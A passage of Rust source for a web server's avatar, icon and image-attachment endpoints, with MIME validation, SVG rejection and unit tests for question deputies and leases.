10001                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10002            } else {
10003                None
10004            }
10005        })
10006        .collect()
10007}
10008
10009/// Expand an id or short id to exactly one talk id.
10010fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10011    if plain_record_id(id) && store.path_of(id).is_file() {
10012        return Ok(id.to_owned());
10013    }
10014    pick(talk_ids(store.root()), id, "talk")
10015}
10016
10017/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10018/// future `talk-say`.
10019async fn talk_attachment_post(
10020    State(ui): State<Arc<Ui>>,
10021    Path(id): Path<String>,
10022    headers: HeaderMap,
10023    body: Bytes,
10024) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10025    let mime = validate_attachment(&headers, &body)?;
10026    let name = filename_header(&headers);
10027    let data = body.to_vec();
10028    blocking(move || {
10029        let id = resolve_talk(&ui.talks, &id)?;
10030        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10031        Ok((StatusCode::CREATED, Json(att)))
10032    })
10033    .await
10034}
10035
10036/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10037/// `<img>` tag in the transcript.
10038async fn talk_attachment_get(
10039    State(ui): State<Arc<Ui>>,
10040    Path((id, att)): Path<(String, String)>,
10041) -> ApiResult<Response> {
10042    blocking(move || {
10043        let id = resolve_talk(&ui.talks, &id)?;
10044        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10045            return Err(ApiError::not_found(format!(
10046                "talk {id} has no attachment `{att}`"
10047            )));
10048        };
10049        Ok(attachment_response(&meta.mime, data))
10050    })
10051    .await
10052}
10053
10054/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10055/// the icon setting, so changing it changes the URL.
10056fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10057    let id = avatar_encode(&p.id);
10058    format!(
10059        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10060        persona_icon::fingerprint(
10061            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10062        )
10063    )
10064}
10065
10066#[derive(Debug, Default, Deserialize)]
10067struct AvatarQuery {
10068    persona: Option<String>,
10069    /// Set by the page after the first load failed: skip the `icon`.
10070    builtin: Option<String>,
10071}
10072
10073/// Served with every built-in avatar: it is an image, so nothing else may run.
10074const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10075
10076fn builtin_avatar(id: &str) -> Response {
10077    svg_avatar(persona_icon::builtin_svg(id))
10078}
10079
10080async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10081    raster_or_builtin(
10082        read_icon_file(&avatar_setting_path(&ui.home, None))
10083            .filter(|_| q.builtin.is_none())
10084            .as_deref(),
10085        persona_icon::operator_svg(),
10086    )
10087}
10088
10089fn svg_avatar(svg: &'static str) -> Response {
10090    (
10091        [
10092            (header::CONTENT_TYPE, "image/svg+xml"),
10093            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10094            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10095            (header::CACHE_CONTROL, "no-cache"),
10096        ],
10097        svg,
10098    )
10099        .into_response()
10100}
10101
10102fn avatar_encode(value: &str) -> String {
10103    value
10104        .bytes()
10105        .map(|b| {
10106            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10107                char::from(b).to_string()
10108            } else {
10109                format!("%{b:02X}")
10110            }
10111        })
10112        .collect()
10113}
10114
10115// Display-only overrides live outside configuration and conversation records.
10116fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10117    let Some(id) = persona else {
10118        return home.join("avatars/operator.data");
10119    };
10120    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10121    let mut path = home.join("avatars/personas");
10122    for chunk in encoded.as_bytes().chunks(100) {
10123        path.push(std::str::from_utf8(chunk).expect("hex"));
10124    }
10125    path.join("icon.data")
10126}
10127
10128fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10129    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10130        Some(value) if value == "builtin" => Some(String::new()),
10131        Some(value) => Some(value),
10132        None => configured.map(str::to_owned),
10133    }
10134}
10135
10136fn operator_icon_url(home: &FsPath) -> String {
10137    format!(
10138        "/avatars/operator.svg?v={}",
10139        persona_icon::fingerprint(
10140            read_icon_file(&avatar_setting_path(home, None))
10141                .as_deref()
10142                .or(Some(persona_icon::operator_svg()))
10143        )
10144    )
10145}
10146
10147fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10148    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10149        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10150            attachment_response(mime, bytes)
10151        }
10152        _ => svg_avatar(builtin),
10153    };
10154    response
10155        .headers_mut()
10156        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10157    response
10158}
10159
10160#[derive(Default, Deserialize)]
10161struct AvatarSettingsQuery {
10162    repo: Option<PathBuf>,
10163    persona: Option<String>,
10164    builtin: Option<String>,
10165    inherit: Option<String>,
10166}
10167
10168fn avatar_settings_specs(
10169    ui: &Ui,
10170    repo: Option<PathBuf>,
10171) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10172    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10173    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10174        .map(|cfg| cfg.talk.personas)
10175        .unwrap_or_default();
10176    Ok((repo, specs))
10177}
10178
10179fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10180    let Ok(entries) = std::fs::read_dir(path) else {
10181        return;
10182    };
10183    for entry in entries.flatten() {
10184        let name = entry.file_name().to_string_lossy().into_owned();
10185        if name == "icon.data" {
10186            let bytes: Option<Vec<u8>> = prefix
10187                .as_bytes()
10188                .chunks(2)
10189                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10190                .collect();
10191            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10192                out.push(id);
10193            }
10194        } else if name.len() <= 100
10195            && !name.is_empty()
10196            && name.bytes().all(|b| b.is_ascii_hexdigit())
10197            && entry.file_type().is_ok_and(|t| t.is_dir())
10198        {
10199            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10200        }
10201    }
10202}
10203
10204async fn avatar_settings_get(
10205    State(ui): State<Arc<Ui>>,
10206    Query(q): Query<AvatarSettingsQuery>,
10207) -> ApiResult<Json<serde_json::Value>> {
10208    blocking(move || {
10209        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10210        let mut catalog = persona::catalog(&specs);
10211        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10212        let mut saved = Vec::new();
10213        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10214        for id in saved {
10215            if !catalog.iter().any(|p| p.id == id) {
10216                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10217            }
10218        }
10219        let personas: Vec<_> = catalog.iter().map(|p| {
10220            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10221            let override_state = match saved.as_deref() {
10222                Some("builtin") => "builtin",
10223                Some(_) => "custom",
10224                None => "inherit",
10225            };
10226            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10227            serde_json::json!({"id":p.id,"name":p.name,
10228                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10229                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10230                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10231        }).collect();
10232        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10233    }).await
10234}
10235
10236async fn settings_persona_avatar(
10237    State(ui): State<Arc<Ui>>,
10238    Query(q): Query<AvatarSettingsQuery>,
10239) -> ApiResult<Response> {
10240    blocking(move || {
10241        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10242        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10243        let found = persona::find(&specs, id);
10244        let icon =
10245            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10246        Ok(raster_or_builtin(
10247            icon.as_deref().filter(|_| q.builtin.is_none()),
10248            persona_icon::builtin_svg(id),
10249        ))
10250    })
10251    .await
10252}
10253
10254fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10255    if q.persona
10256        .as_ref()
10257        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10258    {
10259        return Err(ApiError::bad_request("invalid persona id"));
10260    }
10261    Ok(())
10262}
10263
10264async fn avatar_settings_put(
10265    State(ui): State<Arc<Ui>>,
10266    Query(q): Query<AvatarSettingsQuery>,
10267    Json(upload): Json<MagiIconUpload>,
10268) -> ApiResult<Json<serde_json::Value>> {
10269    blocking(move || {
10270        validate_avatar_target(&q)?;
10271        save_icon_file(
10272            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10273            &upload.icon,
10274        )
10275        .map_err(ApiError::bad_request_from)?;
10276        Ok(Json(serde_json::json!({"saved":true})))
10277    })
10278    .await
10279}
10280
10281async fn avatar_settings_delete(
10282    State(ui): State<Arc<Ui>>,
10283    Query(q): Query<AvatarSettingsQuery>,
10284) -> ApiResult<Json<serde_json::Value>> {
10285    blocking(move || {
10286        validate_avatar_target(&q)?;
10287        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10288        if q.persona.is_some() && q.inherit.is_none() {
10289            atomic_icon_write(&path, "builtin")?;
10290        } else {
10291            match std::fs::remove_file(path) {
10292                Ok(()) => (),
10293                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10294                Err(e) => return Err(anyhow::Error::from(e).into()),
10295            }
10296        }
10297        Ok(Json(serde_json::json!({"saved":true})))
10298    })
10299    .await
10300}
10301
10302// The global MAGI icon is deliberately independent of repository configuration.
10303fn magi_icon_path(home: &FsPath) -> PathBuf {
10304    home.join("magi-icon.data")
10305}
10306
10307fn read_magi_icon(home: &FsPath) -> Option<String> {
10308    read_icon_file(&magi_icon_path(home))
10309}
10310
10311fn read_icon_file(path: &FsPath) -> Option<String> {
10312    let metadata = std::fs::metadata(path).ok()?;
10313    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10314        return None;
10315    }
10316    let file = std::fs::File::open(path).ok()?;
10317    use std::io::Read;
10318    let mut text = String::new();
10319    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10320        .read_to_string(&mut text)
10321        .ok()?;
10322    if text.len() > persona_icon::ICON_MAX_BYTES {
10323        return None;
10324    }
10325    if text == "builtin" {
10326        return Some(text);
10327    }
10328    validate_uploaded_icon(&text).ok()?;
10329    Some(text)
10330}
10331
10332fn magi_icon_url(home: &FsPath) -> String {
10333    format!(
10334        "/avatars/magi?v={}",
10335        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10336    )
10337}
10338
10339async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10340    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10341}
10342
10343#[derive(Deserialize)]
10344struct MagiIconUpload {
10345    icon: String,
10346}
10347
10348fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10349    save_icon_file(&magi_icon_path(home), icon)
10350}
10351
10352fn validate_uploaded_icon(icon: &str) -> Result<()> {
10353    if !icon.starts_with("data:") {
10354        anyhow::bail!("upload a raster image");
10355    }
10356    let (mime, bytes) = persona_icon::load(icon)?;
10357    if sniffed_mime(&bytes) != Some(mime) {
10358        anyhow::bail!("image content does not match its type");
10359    }
10360    Ok(())
10361}
10362
10363fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10364    validate_uploaded_icon(icon)?;
10365    atomic_icon_write(path, icon)
10366}
10367
10368fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10369    let home = path.parent().expect("icon parent");
10370    std::fs::create_dir_all(home)?;
10371    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10372    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10373    let result = (|| -> Result<()> {
10374        use std::io::Write;
10375        let mut file = std::fs::OpenOptions::new()
10376            .write(true)
10377            .create_new(true)
10378            .open(&temp)?;
10379        file.write_all(icon.as_bytes())?;
10380        file.sync_all()?;
10381        std::fs::rename(&temp, path)?;
10382        Ok(())
10383    })();
10384    let _ = std::fs::remove_file(temp);
10385    result?;
10386    Ok(())
10387}
10388
10389async fn magi_icon_put(
10390    State(ui): State<Arc<Ui>>,
10391    Json(upload): Json<MagiIconUpload>,
10392) -> ApiResult<Json<serde_json::Value>> {
10393    blocking(move || {
10394        if !upload.icon.starts_with("data:") {
10395            return Err(ApiError::bad_request("upload a raster image"));
10396        }
10397        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10398        if sniffed_mime(&bytes) != Some(mime) {
10399            return Err(ApiError::bad_request(
10400                "image content does not match its type",
10401            ));
10402        }
10403        save_magi_icon(&ui.home, &upload.icon)?;
10404        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10405    })
10406    .await
10407}
10408
10409async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10410    blocking(move || {
10411        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10412            Ok(()) => (),
10413            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10414            Err(e) => return Err(anyhow::Error::from(e).into()),
10415        }
10416        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10417    })
10418    .await
10419}
10420
10421async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10422    let icon = (q.builtin.is_none())
10423        .then(|| read_magi_icon(&ui.home))
10424        .flatten();
10425    let mut response = match icon
10426        .as_deref()
10427        .and_then(|icon| persona_icon::load(icon).ok())
10428    {
10429        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10430            attachment_response(mime, bytes)
10431        }
10432        _ => svg_avatar(persona_icon::magi_svg()),
10433    };
10434    response
10435        .headers_mut()
10436        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10437    response
10438}
10439
10440/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10441/// operator's raster `icon` when it resolves and its bytes agree with its
10442/// type, the built-in SVG otherwise. Display only; every failure is a warning
10443/// and the built-in avatar, never an error response.
10444async fn talk_avatar(
10445    State(ui): State<Arc<Ui>>,
10446    Path(id): Path<String>,
10447    Query(q): Query<AvatarQuery>,
10448) -> ApiResult<Response> {
10449    blocking(move || {
10450        let id = resolve_talk(&ui.talks, &id)?;
10451        let talk = ui.talks.get(&id)?;
10452        let wanted = q
10453            .persona
10454            .as_deref()
10455            .map(str::trim)
10456            .filter(|p| !p.is_empty())
10457            .unwrap_or(&talk.persona)
10458            .to_owned();
10459        let specs = match Config::discover(&talk.repo, None) {
10460            Ok((cfg, _)) => cfg.talk.personas,
10461            Err(e) => {
10462                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10463                Vec::new()
10464            }
10465        };
10466        let found = persona::find(&specs, &wanted);
10467        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10468        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10469        let icon = effective_persona_icon(
10470            &ui.home,
10471            &wanted,
10472            found.as_ref().and_then(|p| p.icon.as_deref()),
10473        );
10474        if found.is_none() && icon.is_none() {
10475            return Ok(builtin_avatar(persona::DEFAULT_ID));
10476        }
10477        let Some(icon) = icon
10478            .as_deref()
10479            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10480        else {
10481            return Ok(builtin_avatar(&wanted));
10482        };
10483        let Some(found) = found else {
10484            return Ok(raster_or_builtin(
10485                Some(icon),
10486                persona_icon::builtin_svg(&wanted),
10487            ));
10488        };
10489        match persona_icon::load(icon) {
10490            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10491                let mut res = attachment_response(mime, bytes);
10492                res.headers_mut().insert(
10493                    header::CACHE_CONTROL,
10494                    header::HeaderValue::from_static("no-cache"),
10495                );
10496                Ok(res)
10497            }
10498            Ok((mime, _)) => {
10499                tracing::warn!(
10500                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10501                    found.id
10502                );
10503                Ok(builtin_avatar(&found.id))
10504            }
10505            Err(e) => {
10506                tracing::warn!(
10507                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10508                    found.id
10509                );
10510                Ok(builtin_avatar(&found.id))
10511            }
10512        }
10513    })
10514    .await
10515}
10516
10517/// Validate an attachment upload's declared `Content-Type` and the bytes
10518/// themselves, returning the canonical mime on success.
10519///
10520/// Two checks, both required: the header has to name one of
10521/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10522/// simply never in the list, active content rather than a picture, the same
10523/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10524/// magic number has to agree. The second is what stops a mislabeled upload -
10525/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10526/// a declared type is a claim, not a fact, so it is never trusted alone.
10527fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10528    if data.len() > ATTACHMENT_MAX_BYTES {
10529        return Err(ApiError::bad_request(format!(
10530            "attachment is {} bytes, over the {} MiB limit",
10531            data.len(),
10532            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10533        ))
10534        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10535    }
10536    if data.is_empty() {
10537        return Err(ApiError::bad_request("attachment is empty"));
10538    }
10539    let declared = declared_mime(headers)?;
10540    match sniffed_mime(data) {
10541        Some(sniffed) if sniffed == declared => Ok(declared),
10542        Some(sniffed) => Err(ApiError::bad_request(format!(
10543            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10544        ))),
10545        None => Err(ApiError::bad_request(
10546            "the file's bytes do not match any accepted image format",
10547        )),
10548    }
10549}
10550
10551/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10552/// and nothing else - parameters like `; charset=` are stripped, but the
10553/// value itself is not otherwise interpreted.
10554fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10555    let raw = headers
10556        .get(header::CONTENT_TYPE)
10557        .and_then(|v| v.to_str().ok())
10558        .unwrap_or("")
10559        .split(';')
10560        .next()
10561        .unwrap_or("")
10562        .trim()
10563        .to_ascii_lowercase();
10564    ATTACHMENT_MIME_WHITELIST
10565        .iter()
10566        .find(|&&m| m == raw)
10567        .copied()
10568        .ok_or_else(|| {
10569            if raw == "image/svg+xml" {
10570                ApiError::bad_request(
10571                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10572                     not just a picture",
10573                )
10574            } else if raw.is_empty() {
10575                ApiError::bad_request("Content-Type is required for an attachment upload")
10576            } else {
10577                ApiError::bad_request(format!(
10578                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10579                     image/gif or image/webp"
10580                ))
10581            }
10582        })
10583}
10584
10585/// Identify an image by its magic number, independent of whatever
10586/// `Content-Type` claimed.
10587fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10588    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10589        Some("image/png")
10590    } else if data.starts_with(b"\xff\xd8\xff") {
10591        Some("image/jpeg")
10592    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10593        Some("image/gif")
10594    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10595        Some("image/webp")
10596    } else {
10597        None
10598    }
10599}
10600
10601/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10602/// display - see [`talk::Attachment::name`]'s doc on why it never
10603/// contributes to a path. A missing or blank header (curl without it, an
10604/// older front end) falls back to a generic name rather than refusing the
10605/// upload over a field that is cosmetic.
10606fn filename_header(headers: &HeaderMap) -> String {
10607    headers
10608        .get(FILENAME_HEADER)
10609        .and_then(|v| v.to_str().ok())
10610        .map(str::trim)
10611        .filter(|s| !s.is_empty())
10612        .unwrap_or("attachment")
10613        .to_owned()
10614}
10615
10616/// Every attachment `GET` response: the mime re-validated against the same
10617/// closed whitelist the upload route enforces - never the string trusted
10618/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10619/// cannot decide it knows better than the type we send. Unlike a panel asset
10620/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10621/// document renders inline, not agent-authored HTML in a sandboxed frame.
10622fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10623    let content_type = ATTACHMENT_MIME_WHITELIST
10624        .iter()
10625        .find(|&&m| m == mime)
10626        .copied()
10627        .unwrap_or("application/octet-stream");
10628    (
10629        [
10630            (header::CONTENT_TYPE, content_type),
10631            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10632        ],
10633        body,
10634    )
10635        .into_response()
10636}
10637
10638/// The configuration for a repository, read off the disk for this request.
10639///
10640/// Through [`blocking`] because discovery reads and merges several TOML files,
10641/// and because the alternative - caching it in [`Ui`] at startup - would mean
10642/// the operator's phone kept interviewing with a roster they had already
10643/// changed, with no way to reload it but restarting the server they are not
10644/// sitting in front of.
10645async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10646    let repo = repo.to_path_buf();
10647    blocking(move || {
10648        let (cfg, _) = Config::discover(&repo, None)?;
10649        Ok(cfg)
10650    })
10651    .await
10652}
10653
10654/// The one prefix rule, used for both runs and tasks: a leading match for a
10655/// full id, a trailing match for the short form an operator reads off a
10656/// report. Written here rather than borrowed from `queue::resolve_id` because
10657/// the UI needs the two failures as different status codes, and telling them
10658/// apart from an error message is not something to build a route on.
10659fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10660    let mut hits = ids
10661        .into_iter()
10662        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10663    match (hits.next(), hits.next()) {
10664        (Some(one), None) => Ok(one),
10665        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10666        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10667            "`{prefix}` matches more than one {what}, including {a} and {b}"
10668        ))),
10669    }
10670}
10671
10672#[cfg(test)]
10673mod tests {
10674
10675    #[test]
10676    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10677        let dir = tempfile::tempdir().unwrap();
10678        let store = ask::Questions::at(dir.path().join("questions"));
10679        let mut q = Question::new(
10680            "task".to_owned(),
10681            "conduct".to_owned(),
10682            "conduct".to_owned(),
10683            "choose".to_owned(),
10684            String::new(),
10685            vec!["keep".to_owned()],
10686        );
10687        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10688        q.say("why?").unwrap();
10689        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10690        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10691        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10692        store.put(&mut q).unwrap();
10693        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10694        assert_eq!(store.count_needs_owner(), 1);
10695        store.beat(&q.id, ask::WaiterKind::Deputy);
10696        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10697        assert_eq!(store.count_needs_owner(), 0);
10698        let mut stale = store.read_lease(&q.id).unwrap();
10699        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10700        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10701        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10702        assert!(view.deputy_exhausted);
10703        assert!(view.waiting_on_agent);
10704        assert_eq!(view.question.choices, ["keep"]);
10705        store.drop_lease(&q.id);
10706        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10707        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10708    }
10709
10710    #[test]
10711    fn holder_reads_the_lease_not_the_record() {
10712        let mut q = Question::new(
10713            "run".to_owned(),
10714            "implement".to_owned(),
10715            "impl-A".to_owned(),
10716            "which?".to_owned(),
10717            String::new(),
10718            Vec::new(),
10719        );
10720        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10721        q.cwd = Some("/tmp".to_owned());
10722        assert_eq!(holder_of(&q, None), Some("nobody"));
10723        let beat = |kind, ago: i64| ask::Lease {
10724            kind,
10725            pid: 1,
10726            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10727                .unwrap(),
10728        };
10729        let fresh = beat(ask::WaiterKind::Asker, 1);
10730        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10731        let daemon = beat(ask::WaiterKind::Daemon, 1);
10732        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10733        let stale = beat(ask::WaiterKind::Asker, 3600);
10734        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10735
10736        // A conductor question says "deputy" only while one is attached and
10737        // alive, and "nobody" - never silence - when nothing ever listened.
10738        let mut c = Question::new(
10739            "task".to_owned(),
10740            crate::conduct::NODE.to_owned(),
10741            "conduct".to_owned(),
10742            "which?".to_owned(),
10743            String::new(),
10744            Vec::new(),
10745        );
10746        assert_eq!(holder_of(&c, None), Some("nobody"));
10747        c.cwd = Some("/tmp".to_owned());
10748        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10749        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10750        let deputy = beat(ask::WaiterKind::Deputy, 1);
10751        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10752        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10753
10754        // A release-watch question: nobody until a deputy is attached.
10755        let mut r = Question::new(
10756            String::new(),
10757            crate::bump::NOTICE_NODE.to_owned(),
10758            "release-watch".to_owned(),
10759            "stuck?".to_owned(),
10760            String::new(),
10761            vec!["hold".to_owned()],
10762        );
10763        assert_eq!(holder_of(&r, None), Some("nobody"));
10764        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10765        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10766        // A choice-less bump notice is nobody's question at all.
10767        r.deputy = None;
10768        r.seat = "bump".to_owned();
10769        assert_eq!(holder_of(&r, None), None);
10770
10771        // A merge approval is the same: nobody until a deputy is attached
10772        // and alive, never a silent "no holder".
10773        let mut m = Question::new(
10774            "run".to_owned(),
10775            crate::land::APPROVAL_NODE.to_owned(),
10776            "land".to_owned(),
10777            "merge?".to_owned(),
10778            String::new(),
10779            Vec::new(),
10780        );
10781        assert_eq!(holder_of(&m, None), Some("nobody"));
10782        assert_eq!(
10783            holder_of(&m, Some(&fresh)),
10784            Some("asker"),
10785            "a live explicit wait is a listener even before a deputy is attached"
10786        );
10787        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10788        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10789        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10790        assert_eq!(holder_of(&m, None), Some("nobody"));
10791    }
10792
10793    fn stub_config() -> Config {
10794        // An explicit roster, so the result never depends on which agent CLIs
10795        // this machine has installed.
10796        Config {
10797            agents: vec![crate::config::AgentSpec {
10798                id: "stub".to_owned(),
10799                kind: AgentKind::Command,
10800                model: None,
10801                command: vec!["true".to_owned()],
10802                extra_args: Vec::new(),
10803                env: Default::default(),
10804                prompt_delivery: None,
10805                max_turn_secs: None,
10806            }],
10807            ..Config::default()
10808        }
10809    }
10810
10811    fn plain_question(seat: &str) -> Question {
10812        Question::new(
10813            String::new(),
10814            "n".to_owned(),
10815            seat.to_owned(),
10816            "s".to_owned(),
10817            String::new(),
10818            Vec::new(),
10819        )
10820    }
10821
10822    #[test]
10823    fn deputies_enabled_follows_the_config() {
10824        let on = stub_config();
10825        assert!(crate::deputy::can_start(Some(&on), ""));
10826        assert!(crate::deputy::can_start(Some(&on), "stub"));
10827        let mut off = on.clone();
10828        off.daemon.max_deputies = 0;
10829        assert!(!crate::deputy::can_start(Some(&off), ""));
10830        let mut empty = on;
10831        empty.agents.clear();
10832        assert!(!crate::deputy::can_start(Some(&empty), ""));
10833        assert!(!crate::deputy::can_start(None, ""));
10834    }
10835
10836    #[test]
10837    fn question_views_load_the_config_once() {
10838        let dir = TempDir::new().unwrap();
10839        let store = ask::Questions::at(dir.path().to_path_buf());
10840        let mut with_deputy = plain_question("b");
10841        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10842        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10843
10844        let calls = std::cell::Cell::new(0usize);
10845        let views = question_views(qs.clone(), &store, || {
10846            calls.set(calls.get() + 1);
10847            Some(stub_config())
10848        });
10849        assert_eq!(calls.get(), 1);
10850        assert_eq!(views.len(), 3);
10851        for (v, q) in views.iter().zip(&qs) {
10852            assert_eq!(
10853                v.deputies_enabled,
10854                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10855            );
10856        }
10857
10858        let views = question_views(qs, &store, || None);
10859        assert!(views.iter().all(|v| !v.deputies_enabled));
10860
10861        let calls = std::cell::Cell::new(0usize);
10862        let views = question_views(Vec::new(), &store, || {
10863            calls.set(calls.get() + 1);
10864            None
10865        });
10866        assert!(views.is_empty());
10867        assert_eq!(calls.get(), 0);
10868    }
10869
